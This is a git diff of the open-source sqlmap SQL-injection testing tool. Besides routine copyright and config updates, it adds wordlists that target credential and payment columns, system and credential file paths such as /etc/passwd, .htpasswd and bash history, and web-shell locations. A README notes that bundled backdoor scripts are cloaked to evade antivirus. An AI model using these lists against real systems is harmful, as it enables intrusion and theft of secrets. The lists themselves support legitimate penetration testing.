Fixes #4322

Fixes #4321
Minor improvement
2025-12-06 12:41:30 +00:00 · 2020-09-01 15:35:14 +02:00 · 2020-08-31 22:06:22 +02:00 · 2020-08-31 11:55:14 +02:00 · 2020-08-31 11:34:12 +02:00 · 2020-08-31 11:18:29 +02:00
465 changed files with 14357 additions and 5968 deletions
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,13 +1,18 @@
 language: python
 jobs:
    include:
        - python: 2.6
          dist: trusty
-sudo: false
+        - python: 2.7
          dist: trusty
        - python: 3.3
          dist: trusty
        - python: 3.6
          dist: trusty
        - python: 3.9-dev
          dist: bionic
 git:
    depth: 1
 python:
    - "2.6"
    - "2.7"
    - "3.3"
    - "3.6"
 script:
    - python -c "import sqlmap; import sqlmapapi"
    - python sqlmap.py --smoke
--- a/2
+++ b/2
@@ -1,7 +1,7 @@
 COPYING -- Describes the terms under which sqlmap is distributed. A copy
 of the GNU General Public License (GPL) is appended to this file.
-sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
+sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
 This program is free software; you may redistribute and/or modify it under
 the terms of the GNU General Public License as published by the Free
--- a/README.md
+++ b/README.md
@@ -4,7 +4,7 @@
 sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
-**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
+**The sqlmap project is currently searching for sponsor(s).**
 Screenshots
 ----
@@ -64,6 +64,7 @@ Translations
 * [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
 * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
 * [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
 * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
--- a/data/html/index.html
+++ b/data/html/index.html
@@ -4,6 +4,7 @@
 <html lang="en">
 <head>
    <title>DEMO</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
@@ -74,7 +75,7 @@
      <div class="sidebar-nav navbar-collapse">
        <ul class="nav" id="side-menu">
          <li>
-            <a href="#"><i class="glyphicon glyphicon-home"></i> Options<span class="arrow"></span></a>
+            <a href="#"><em class="glyphicon glyphicon-home"></em> Options<span class="arrow"></span></a>
            <ul class="nav nav-second-level">
              <li><a>Target</a></li>
              <li><a>Request</a></li>
--- a/data/shell/README.txt
+++ b/data/shell/README.txt
@@ -1,7 +1,7 @@
-Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
+Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../../extra/cloak/cloak.py utility.
 To prepare the original scripts to the cloaked form use this command:
-find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
+find backdoors/backdoor.* stagers/stager.* -type f -exec python ../../extra/cloak/cloak.py -i '{}' \;
 To get back them into the original form use this:
-find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
+find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../../extra/cloak/cloak.py -d -i '{}' \;
--- a/data/shell/backdoors/backdoor.asp_
+++ b/data/shell/backdoors/backdoor.asp_
--- a/data/shell/backdoors/backdoor.aspx_
+++ b/data/shell/backdoors/backdoor.aspx_
--- a/data/shell/backdoors/backdoor.jsp_
+++ b/data/shell/backdoors/backdoor.jsp_
--- a/data/shell/backdoors/backdoor.php_
+++ b/data/shell/backdoors/backdoor.php_
--- a/data/shell/stagers/stager.asp_
+++ b/data/shell/stagers/stager.asp_
--- a/data/shell/stagers/stager.aspx_
+++ b/data/shell/stagers/stager.aspx_
--- a/data/shell/stagers/stager.jsp_
+++ b/data/shell/stagers/stager.jsp_
--- a/data/shell/stagers/stager.php_
+++ b/data/shell/stagers/stager.php_
--- a/data/txt/common-columns.txt
+++ b/data/txt/common-columns.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 id
@@ -474,6 +474,7 @@ module_addr
 flag
 # spanish
 usuario
 nombre
 contrasena
@@ -486,6 +487,7 @@ tono
 cuna
 # german
 benutzername
 benutzer
 passwort
@@ -499,6 +501,7 @@ stichwort
 schlusselwort
 # french
 utilisateur
 usager
 consommateur
@@ -510,6 +513,7 @@ touche
 clef
 # italian
 utente
 nome
 utilizzatore
@@ -521,17 +525,33 @@ chiavetta
 cifrario
 # portuguese
 usufrutuario
 chave
 cavilha
 # slavic
 korisnik
 sifra
 lozinka
 kljuc
 # turkish
 isim
 ad
 adi
 soyisim
 soyad
 soyadi
 kimlik
 kimlikno
 tckimlikno
 tckimlik
 yonetici
 sil
 silinmis
 numara
 sira
 lokasyon
@@ -547,7 +567,9 @@ ev_adres
 is_adresi
 ev_adresi
 isadresi
 isadres
 evadresi
 evadres
 il
 ilce
 eposta
@@ -605,6 +627,7 @@ kontak
 kontaklar
 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
 user
 pass
 cc_number
@@ -828,6 +851,7 @@ xar_name
 xar_pass
 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
 account
 accnts
 accnt
@@ -897,6 +921,7 @@ user_pwd
 user_passwd
 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
 fld_id
 fld_username
 fld_password
@@ -1049,6 +1074,7 @@ yhmm
 yonghu
 # site:br
 content_id
 codigo
 geometry
@@ -1305,6 +1331,7 @@ newssummaryauthor
 and_xevento
 # site:de
 rolle_nr
 standort_nr
 ja
@@ -1467,6 +1494,7 @@ summary_id
 gameid
 # site:es
 catid
 dni
 prune_id
@@ -1556,6 +1584,7 @@ time_stamp
 bannerid
 # site:fr
 numero
 id_auteur
 titre
@@ -1607,6 +1636,7 @@ n_dir
 age
 # site:ru
 dt_id
 subdivision_id
 sub_class_id
@@ -1812,6 +1842,7 @@ language_id
 val
 # site:jp
 dealer_id
 modify_date
 regist_date
@@ -1943,6 +1974,7 @@ c_commu_topic_id
 c_diary_comment_log_id
 # site:it
 idcomune
 idruolo
 idtrattamento
@@ -2446,6 +2478,7 @@ client_img
 does_repeat
 # site:cn
 typeid
 cronid
 advid
@@ -2621,6 +2654,7 @@ disablepostctrl
 fieldname
 # site:id
 ajar
 akses
 aktif
@@ -2672,9 +2706,23 @@ urut
 waktu
 # WebGoat
 cookie
 login_count
 # https://sqlwiki.netspi.com/attackQueries/dataTargeting/
 credit
 card
 pin
 cvv
 pan
 password
 social
 ssn
 account
 confidential
 # Misc
 u_pass
--- a/data/txt/common-files.txt
+++ b/data/txt/common-files.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # Reference: https://gist.github.com/sckalath/78ad449346171d29241a
@@ -203,6 +203,15 @@
 /var/www/nginx-default/index.php
 /srv/www/index.php
 /var/www/config.php
 /usr/local/apache/config.php
 /usr/local/apache2/config.php
 /usr/local/www/apache22/config.php
 /usr/local/www/apache24/config.php
 /usr/local/httpd/config.php
 /var/www/nginx-default/config.php
 /srv/www/config.php
 # Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
 /srv/www/htdocs/index.php
@@ -212,6 +221,13 @@
 /var/www/htdocs/index.php
 /var/www/html/index.php
 /srv/www/htdocs/config.php
 /usr/local/apache2/htdocs/config.php
 /usr/local/www/data/config.php
 /var/apache2/htdocs/config.php
 /var/www/htdocs/config.php
 /var/www/html/config.php
 # Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
 /etc/passwd
@@ -663,17 +679,6 @@
 /.htaccess
 /.htpasswd
 /[jboss]/server/default/conf/jboss-minimal.xml
 /[jboss]/server/default/conf/jboss-service.xml
 /[jboss]/server/default/conf/jndi.properties
 /[jboss]/server/default/conf/log4j.xml
 /[jboss]/server/default/conf/login-config.xml
 /[jboss]/server/default/conf/server.log.properties
 /[jboss]/server/default/conf/standardjaws.xml
 /[jboss]/server/default/conf/standardjboss.xml
 /[jboss]/server/default/deploy/jboss-logging.xml
 /[jboss]/server/default/log/boot.log
 /[jboss]/server/default/log/server.log
 /access.log
 /access_log
 /apache/conf/httpd.conf
@@ -1008,17 +1013,17 @@
 /mysql/my.cnf
 /mysql/my.ini
 /netserver/bin/stable/apache/php.ini
-/opt/[jboss]/server/default/conf/jboss-minimal.xml
+/opt/jboss/server/default/conf/jboss-minimal.xml
-/opt/[jboss]/server/default/conf/jboss-service.xml
+/opt/jboss/server/default/conf/jboss-service.xml
-/opt/[jboss]/server/default/conf/jndi.properties
+/opt/jboss/server/default/conf/jndi.properties
-/opt/[jboss]/server/default/conf/log4j.xml
+/opt/jboss/server/default/conf/log4j.xml
-/opt/[jboss]/server/default/conf/login-config.xml
+/opt/jboss/server/default/conf/login-config.xml
-/opt/[jboss]/server/default/conf/server.log.properties
+/opt/jboss/server/default/conf/server.log.properties
-/opt/[jboss]/server/default/conf/standardjaws.xml
+/opt/jboss/server/default/conf/standardjaws.xml
-/opt/[jboss]/server/default/conf/standardjboss.xml
+/opt/jboss/server/default/conf/standardjboss.xml
-/opt/[jboss]/server/default/deploy/jboss-logging.xml
+/opt/jboss/server/default/deploy/jboss-logging.xml
-/opt/[jboss]/server/default/log/boot.log
+/opt/jboss/server/default/log/boot.log
-/opt/[jboss]/server/default/log/server.log
+/opt/jboss/server/default/log/server.log
 /opt/apache/apache.conf
 /opt/apache/apache2.conf
 /opt/apache/conf/apache.conf
@@ -1059,17 +1064,6 @@
 /private/etc/httpd/httpd.conf
 /private/etc/httpd/httpd.conf.default
 /private/etc/squirrelmail/config/config.php
 /private/tmp/[jboss]/server/default/conf/jboss-minimal.xml
 /private/tmp/[jboss]/server/default/conf/jboss-service.xml
 /private/tmp/[jboss]/server/default/conf/jndi.properties
 /private/tmp/[jboss]/server/default/conf/log4j.xml
 /private/tmp/[jboss]/server/default/conf/login-config.xml
 /private/tmp/[jboss]/server/default/conf/server.log.properties
 /private/tmp/[jboss]/server/default/conf/standardjaws.xml
 /private/tmp/[jboss]/server/default/conf/standardjboss.xml
 /private/tmp/[jboss]/server/default/deploy/jboss-logging.xml
 /private/tmp/[jboss]/server/default/log/boot.log
 /private/tmp/[jboss]/server/default/log/server.log
 /proc/cpuinfo
 /proc/devices
 /proc/meminfo
@@ -1098,17 +1092,17 @@
 /proc/self/stat
 /proc/self/status
 /proc/version
-/program files/[jboss]/server/default/conf/jboss-minimal.xml
+/program files/jboss/server/default/conf/jboss-minimal.xml
-/program files/[jboss]/server/default/conf/jboss-service.xml
+/program files/jboss/server/default/conf/jboss-service.xml
-/program files/[jboss]/server/default/conf/jndi.properties
+/program files/jboss/server/default/conf/jndi.properties
-/program files/[jboss]/server/default/conf/log4j.xml
+/program files/jboss/server/default/conf/log4j.xml
-/program files/[jboss]/server/default/conf/login-config.xml
+/program files/jboss/server/default/conf/login-config.xml
-/program files/[jboss]/server/default/conf/server.log.properties
+/program files/jboss/server/default/conf/server.log.properties
-/program files/[jboss]/server/default/conf/standardjaws.xml
+/program files/jboss/server/default/conf/standardjaws.xml
-/program files/[jboss]/server/default/conf/standardjboss.xml
+/program files/jboss/server/default/conf/standardjboss.xml
-/program files/[jboss]/server/default/deploy/jboss-logging.xml
+/program files/jboss/server/default/deploy/jboss-logging.xml
-/program files/[jboss]/server/default/log/boot.log
+/program files/jboss/server/default/log/boot.log
-/program files/[jboss]/server/default/log/server.log
+/program files/jboss/server/default/log/server.log
 /program files/apache group/apache/apache.conf
 /program files/apache group/apache/apache2.conf
 /program files/apache group/apache/conf/apache.conf
@@ -1161,17 +1155,17 @@
 /system/library/webobjects/adaptors/apache2.2/apache.conf
 /temp/sess_
 /thttpd_log
-/tmp/[jboss]/server/default/conf/jboss-minimal.xml
+/tmp/jboss/server/default/conf/jboss-minimal.xml
-/tmp/[jboss]/server/default/conf/jboss-service.xml
+/tmp/jboss/server/default/conf/jboss-service.xml
-/tmp/[jboss]/server/default/conf/jndi.properties
+/tmp/jboss/server/default/conf/jndi.properties
-/tmp/[jboss]/server/default/conf/log4j.xml
+/tmp/jboss/server/default/conf/log4j.xml
-/tmp/[jboss]/server/default/conf/login-config.xml
+/tmp/jboss/server/default/conf/login-config.xml
-/tmp/[jboss]/server/default/conf/server.log.properties
+/tmp/jboss/server/default/conf/server.log.properties
-/tmp/[jboss]/server/default/conf/standardjaws.xml
+/tmp/jboss/server/default/conf/standardjaws.xml
-/tmp/[jboss]/server/default/conf/standardjboss.xml
+/tmp/jboss/server/default/conf/standardjboss.xml
-/tmp/[jboss]/server/default/deploy/jboss-logging.xml
+/tmp/jboss/server/default/deploy/jboss-logging.xml
-/tmp/[jboss]/server/default/log/boot.log
+/tmp/jboss/server/default/log/boot.log
-/tmp/[jboss]/server/default/log/server.log
+/tmp/jboss/server/default/log/server.log
 /tmp/access.log
 /tmp/sess_
 /usr/apache/conf/httpd.conf
@@ -1186,17 +1180,17 @@
 /usr/lib/php.ini
 /usr/lib/php/php.ini
 /usr/lib/security/mkuser.default
-/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
+/usr/local/jboss/server/default/conf/jboss-minimal.xml
-/usr/local/[jboss]/server/default/conf/jboss-service.xml
+/usr/local/jboss/server/default/conf/jboss-service.xml
-/usr/local/[jboss]/server/default/conf/jndi.properties
+/usr/local/jboss/server/default/conf/jndi.properties
-/usr/local/[jboss]/server/default/conf/log4j.xml
+/usr/local/jboss/server/default/conf/log4j.xml
-/usr/local/[jboss]/server/default/conf/login-config.xml
+/usr/local/jboss/server/default/conf/login-config.xml
-/usr/local/[jboss]/server/default/conf/server.log.properties
+/usr/local/jboss/server/default/conf/server.log.properties
-/usr/local/[jboss]/server/default/conf/standardjaws.xml
+/usr/local/jboss/server/default/conf/standardjaws.xml
-/usr/local/[jboss]/server/default/conf/standardjboss.xml
+/usr/local/jboss/server/default/conf/standardjboss.xml
-/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
+/usr/local/jboss/server/default/deploy/jboss-logging.xml
-/usr/local/[jboss]/server/default/log/boot.log
+/usr/local/jboss/server/default/log/boot.log
-/usr/local/[jboss]/server/default/log/server.log
+/usr/local/jboss/server/default/log/server.log
 /usr/local/apache/apache.conf
 /usr/local/apache/apache2.conf
 /usr/local/apache/conf/access.conf
@@ -1659,3 +1653,147 @@
 \web.config
 \windows\system32\drivers\etc\hosts
 \windows\win.ini
 # Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
 /etc/apache2/.htpasswd
 /etc/apache/.htpasswd
 /etc/master.passwd
 /etc/muddleftpd/muddleftpd.passwd
 /etc/muddleftpd/passwd
 /etc/passwd
 /etc/passwd~
 /etc/passwd-
 /etc/pureftpd.passwd
 /etc/samba/private/smbpasswd
 /etc/samba/smbpasswd
 /etc/security/opasswd
 /etc/security/passwd
 /etc/smbpasswd
 \Program Files\xampp\apache\conf\httpd.conf
 /usr/local/pgsql/bin/pg_passwd
 /usr/local/pgsql/data/passwd
 /usr/pkgsrc/net/pureftpd/pureftpd.passwd
 /usr/ports/contrib/pure-ftpd/pureftpd.passwd
 /usr/ports/ftp/pure-ftpd/pureftpd.passwd
 /usr/ports/net/pure-ftpd/pureftpd.passwd
 /var/log/exim_rejectlog/etc/passwd
 /etc/mysql/conf.d/old_passwords.cnf
 /etc/password.master
 /var/www/.lighttpdpassword
 /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
 /Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
 /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
 /Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
 /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
 /Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
 /Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
 /Volumes/webBackup/opt/apache2/conf/httpd.conf
 /Volumes/webBackup/private/etc/httpd/httpd.conf
 /Volumes/webBackup/private/etc/httpd/httpd.conf.default
 # Reference: https://pastebin.com/KgPsDXjg
 /etc/passwd
 /etc/crontab
 /etc/hosts
 /etc/my.cnf
 /etc/.htpasswd
 /root/.bash_history
 /etc/named.conf
 /proc/self/environ
 /etc/php.ini
 /bin/php.ini
 /etc/httpd/php.ini
 /usr/lib/php.ini
 /usr/lib/php/php.ini
 /usr/local/etc/php.ini
 /usr/local/lib/php.ini
 /usr/local/php/lib/php.ini
 /usr/local/php4/lib/php.ini
 /usr/local/php5/lib/php.ini
 /usr/local/apache/conf/php.ini
 /etc/php4.4/fcgi/php.ini
 /etc/php4/apache/php.ini
 /etc/php4/apache2/php.ini
 /etc/php5/apache/php.ini
 /etc/php5/apache2/php.ini
 /etc/php/php.ini
 /usr/local/apache/conf/modsec.conf
 /var/cpanel/cpanel.config
 /proc/self/environ
 /proc/self/fd/2
 /etc/ssh/sshd_config
 /var/lib/mysql/my.cnf
 /etc/mysql/my.cnf
 /etc/my.cnf
 /etc/logrotate.d/proftpd
 /www/logs/proftpd.system.log
 /var/log/proftpd
 /etc/proftp.conf
 /etc/protpd/proftpd.conf
 /etc/vhcs2/proftpd/proftpd.conf
 /etc/proftpd/modules.conf
 /etc/vsftpd.chroot_list
 /etc/vsftpd/vsftpd.conf
 /etc/vsftpd.conf
 /etc/chrootUsers
 /etc/wu-ftpd/ftpaccess
 /etc/wu-ftpd/ftphosts
 /etc/wu-ftpd/ftpusers
 /usr/sbin/pure-config.pl
 /usr/etc/pure-ftpd.conf
 /etc/pure-ftpd/pure-ftpd.conf
 /usr/local/etc/pure-ftpd.conf
 /usr/local/etc/pureftpd.pdb
 /usr/local/pureftpd/etc/pureftpd.pdb
 /usr/local/pureftpd/sbin/pure-config.pl
 /usr/local/pureftpd/etc/pure-ftpd.conf
 /etc/pure-ftpd.conf
 /etc/pure-ftpd/pure-ftpd.pdb
 /etc/pureftpd.pdb
 /etc/pureftpd.passwd
 /etc/pure-ftpd/pureftpd.pdb
 /var/log/ftp-proxy
 /etc/logrotate.d/ftp
 /etc/ftpchroot
 /etc/ftphosts
 /etc/smbpasswd
 /etc/smb.conf
 /etc/samba/smb.conf
 /etc/samba/samba.conf
 /etc/samba/smb.conf.user
 /etc/samba/smbpasswd
 /etc/samba/smbusers
 /var/lib/pgsql/data/postgresql.conf
 /var/postgresql/db/postgresql.conf
 /etc/ipfw.conf
 /etc/firewall.rules
 /etc/ipfw.rules
 /usr/local/etc/webmin/miniserv.conf
 /etc/webmin/miniserv.conf
 /usr/local/etc/webmin/miniserv.users
 /etc/webmin/miniserv.users
 /etc/squirrelmail/config/config.php
 /etc/squirrelmail/config.php
 /etc/httpd/conf.d/squirrelmail.conf
 /usr/share/squirrelmail/config/config.php
 /private/etc/squirrelmail/config/config.php
 /srv/www/htdos/squirrelmail/config/config.php
 # Web shells
 /var/www/html/backdoor.php
 /var/www/html/b374k.php
 /var/www/html/c99.php
 /var/www/html/cmd.php
 /var/www/html/r57.php
 /var/www/html/shell.php
 /var/www/html/wso.php
 # Misc
 /etc/lib/nfs/etab
 /app/app.js
 /app/configure.js
 /app/config/config.json
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 [Banners]
--- a/data/txt/common-tables.txt
+++ b/data/txt/common-tables.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 users
@@ -442,6 +442,7 @@ exchange
 Status
 WORKS_ON
 lines
 testusers
 booleantests
 QRTZ_SIMPLE_TRIGGERS
 mobile_menu
@@ -1618,6 +1619,7 @@ Contributor
 flag
 # Various Joomla tables
 jos_vm_product_download
 jos_vm_coupons
 jos_vm_product_reviews
@@ -1711,6 +1713,7 @@ publicusers
 cmsusers
 # List provided by Anastasios Monachos (anastasiosm@gmail.com)
 blacklist
 cost
 moves
@@ -1762,6 +1765,7 @@ TBLCORPUSERS
 TBLCORPORATEUSERS
 # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
 tbladmins
 sort
 _wfspro_admin
@@ -2048,6 +2052,7 @@ Login
 Logins
 # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
 account
 accnts
 accnt
@@ -2117,6 +2122,7 @@ user_pwd
 user_passwd
 # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
 wsop
 Admin
 Config
@@ -2437,9 +2443,11 @@ Affichage1name
 sb_host_adminAffichage1name
 # site:jp
 TypesTab
 # site:it
 utenti
 categorie
 attivita
@@ -2581,6 +2589,7 @@ oil_stats_agents
 SGA_XPLAN_TPL_DBA_INDEXES
 # site:fr
 Avion
 departement
 Compagnie
@@ -2751,6 +2760,7 @@ spip_ortho_dico
 spip_caches
 # site:ru
 guestbook
 binn_forum_settings
 binn_forms_templ
@@ -2848,6 +2858,7 @@ binn_path_temps
 order_item
 # site:de
 tt_content
 kunde
 medien
@@ -3010,6 +3021,7 @@ wp_categories
 chessmessages
 # site:br
 endereco
 pessoa
 usuarios
@@ -3172,6 +3184,7 @@ LT_CUSTOM2
 LT_CUSTOM3
 # site:es
 jos_respuestas
 DEPARTAMENTO
 EMPLEADO
@@ -3210,6 +3223,7 @@ grupo
 facturas
 # site:cn
 url
 cdb_adminactions
 BlockInfo
@@ -3355,6 +3369,7 @@ mymps_mail_sendlist
 mymps_navurl
 # site:tr
 kullanici
 kullanicilar
 yonetici
@@ -3401,6 +3416,7 @@ kontak
 kontaklar
 # List provided by Pedrito Perez (0ark1ang3l@gmail.com)
 adminstbl
 admintbl
 affiliateUsers
@@ -3415,4 +3431,69 @@ userstbl
 usertbl
 # WebGoat
 user_data
 # https://laurent22.github.io/so-injections/
 accounts
 admin
 baza_site
 benutzer
 category
 comments
 company
 credentials
 Customer
 customers
 data
 details
 dhruv_users
 dt_tb
 employees
 events
 forsale
 friends
 giorni
 images
 info
 items
 kontabankowe
 login
 logs
 markers
 members
 messages
 orders
 order_table
 photos
 player
 players
 points
 register
 reports
 rooms
 shells
 signup
 songs
 student
 students
 table
 table2
 tbl_images
 tblproduct
 testv2
 tickets
 topicinfo
 trabajo
 user
 user_auth
 userinfo
 user_info
 userregister
 users
 usuarios
 utenti
 wm_products
 wp_payout_history
 zamowienia
--- a/data/txt/keywords.txt
+++ b/data/txt/keywords.txt
@@ -1,4 +1,4 @@
-# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 # See the file 'LICENSE' for copying permission
 # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
@@ -259,6 +259,7 @@ YEAR
 ZONE
 # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
 ADD
 ALL
 ALTER
@@ -450,3 +451,424 @@ WITH
 WRITEXOR
 YEAR_MONTH
 ZEROFILL
 # PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
 ABS
 ACOS
 ALL
 ALLOCATE
 ALTER
 ANALYSE
 ANALYZE
 AND
 ANY
 ARE
 ARRAY
 ARRAY_AGG
 ARRAY_MAX_CARDINALITY
 AS
 ASC
 ASENSITIVE
 ASIN
 ASYMMETRIC
 AT
 ATAN
 ATOMIC
 AUTHORIZATION
 AVG
 BEGIN
 BEGIN_FRAME
 BEGIN_PARTITION
 BETWEEN
 BIGINT
 BINARY
 BLOB
 BOOLEAN
 BOTH
 BY
 CALL
 CALLED
 CARDINALITY
 CASCADED
 CASE
 CAST
 CEIL
 CEILING
 CHAR
 CHARACTER
 CHARACTER_LENGTH
 CHAR_LENGTH
 CHECK
 CLASSIFIER
 CLOB
 CLOSE
 COALESCE
 COLLATE
 COLLATION
 COLLECT
 COLUMN
 COMMIT
 CONCURRENTLY
 CONDITION
 CONNECT
 CONSTRAINT
 CONTAINS
 CONVERT
 COPY
 CORR
 CORRESPONDING
 COS
 COSH
 COUNT
 COVAR_POP
 COVAR_SAMP
 CREATE
 CROSS
 CUBE
 CUME_DIST
 CURRENT
 CURRENT_CATALOG
 CURRENT_DATE
 CURRENT_DEFAULT_TRANSFORM_GROUP
 CURRENT_PATH
 CURRENT_ROLE
 CURRENT_ROW
 CURRENT_SCHEMA
 CURRENT_TIME
 CURRENT_TIMESTAMP
 CURRENT_TRANSFORM_GROUP_FOR_TYPE
 CURRENT_USER
 CURSOR
 CYCLE
 DATALINK
 DATE
 DAY
 DEALLOCATE
 DEC
 DECFLOAT
 DECIMAL
 DECLARE
 DEFAULT
 DEFERRABLE
 DEFINE
 DELETE
 DENSE_RANK
 DEREF
 DESC
 DESCRIBE
 DETERMINISTIC
 DISCONNECT
 DISTINCT
 DLNEWCOPY
 DLPREVIOUSCOPY
 DLURLCOMPLETE
 DLURLCOMPLETEONLY
 DLURLCOMPLETEWRITE
 DLURLPATH
 DLURLPATHONLY
 DLURLPATHWRITE
 DLURLSCHEME
 DLURLSERVER
 DLVALUE
 DO
 DOUBLE
 DROP
 DYNAMIC
 EACH
 ELEMENT
 ELSE
 EMPTY
 END
 END-EXEC
 END_FRAME
 END_PARTITION
 EQUALS
 ESCAPE
 EVERY
 EXCEPT
 EXEC
 EXECUTE
 EXISTS
 EXP
 EXTERNAL
 EXTRACT
 FALSE
 FETCH
 FILTER
 FIRST_VALUE
 FLOAT
 FLOOR
 FOR
 FOREIGN
 FRAME_ROW
 FREE
 FREEZE
 FROM
 FULL
 FUNCTION
 FUSION
 GET
 GLOBAL
 GRANT
 GROUP
 GROUPING
 GROUPS
 HAVING
 HOLD
 HOUR
 IDENTITY
 ILIKE
 IMPORT
 IN
 INDICATOR
 INITIAL
 INITIALLY
 INNER
 INOUT
 INSENSITIVE
 INSERT
 INT
 INTEGER
 INTERSECT
 INTERSECTION
 INTERVAL
 INTO
 IS
 ISNULL
 JOIN
 JSON_ARRAY
 JSON_ARRAYAGG
 JSON_EXISTS
 JSON_OBJECT
 JSON_OBJECTAGG
 JSON_QUERY
 JSON_TABLE
 JSON_TABLE_PRIMITIVE
 JSON_VALUE
 LAG
 LANGUAGE
 LARGE
 LAST_VALUE
 LATERAL
 LEAD
 LEADING
 LEFT
 LIKE
 LIKE_REGEX
 LIMIT
 LISTAGG
 LN
 LOCAL
 LOCALTIME
 LOCALTIMESTAMP
 LOG
 LOG10
 LOWER
 MATCH
 MATCHES
 MATCH_NUMBER
 MATCH_RECOGNIZE
 MAX
 MEASURES
 MEMBER
 MERGE
 METHOD
 MIN
 MINUTE
 MOD
 MODIFIES
 MODULE
 MONTH
 MULTISET
 NATIONAL
 NATURAL
 NCHAR
 NCLOB
 NEW
 NO
 NONE
 NORMALIZE
 NOT
 NOTNULL
 NTH_VALUE
 NTILE
 NULL
 NULLIF
 NUMERIC
 OCCURRENCES_REGEX
 OCTET_LENGTH
 OF
 OFFSET
 OLD
 OMIT
 ON
 ONE
 ONLY
 OPEN
 OR
 ORDER
 OUT
 OUTER
 OVER
 OVERLAPS
 OVERLAY
 PARAMETER
 PARTITION
 PATTERN
 PER
 PERCENT
 PERCENTILE_CONT
 PERCENTILE_DISC
 PERCENT_RANK
 PERIOD
 PERMUTE
 PLACING
 PORTION
 POSITION
 POSITION_REGEX
 POWER
 PRECEDES
 PRECISION
 PREPARE
 PRIMARY
 PROCEDURE
 PTF
 RANGE
 RANK
 READS
 REAL
 RECURSIVE
 REF
 REFERENCES
 REFERENCING
 REGR_AVGX
 REGR_AVGY
 REGR_COUNT
 REGR_INTERCEPT
 REGR_R2
 REGR_SLOPE
 REGR_SXX
 REGR_SXY
 REGR_SYY
 RELEASE
 RESULT
 RETURN
 RETURNING
 RETURNS
 REVOKE
 RIGHT
 ROLLBACK
 ROLLUP
 ROW
 ROWS
 ROW_NUMBER
 RUNNING
 SAVEPOINT
 SCOPE
 SCROLL
 SEARCH
 SECOND
 SEEK
 SELECT
 SENSITIVE
 SESSION_USER
 SET
 SHOW
 SIMILAR
 SIN
 SINH
 SKIP
 SMALLINT
 SOME
 SPECIFIC
 SPECIFICTYPE
 SQL
 SQLEXCEPTION
